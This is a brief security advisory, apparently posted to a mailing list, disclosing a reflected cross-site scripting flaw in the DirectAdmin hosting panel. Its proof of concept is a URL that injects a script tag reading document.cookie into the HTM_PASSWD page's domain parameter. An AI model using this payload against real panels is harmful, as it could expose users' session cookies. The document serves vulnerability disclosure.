#'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

#Aria-Security.net Advisory

#Discovered  by: O.U.T.L.A.W

[EMAIL PROTECTED]

#Gr33t to:A.u.r.a  & [EMAIL PROTECTED] & Cl0wn & Dtrap 

#'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
 

? Software: DirectAdmin

? Support Website: http://www.Directadmin.com

? advisory:http://www.aria-security.net/advisory/hm/directadmin.txt

? Summary: DirectAdmin Is A Hosting Managment System

? Tested On: http://www.directadmin.com/demo.html 

 

? Proof of Concept:

LOCAL XSS attack:

http://www.directadmin.com:2222/HTM_PASSWD?domain=";.><script>alert(document.cookie)</script><!--


 

?Solution:

?contact [EMAIL PROTECTED]


Reply via email to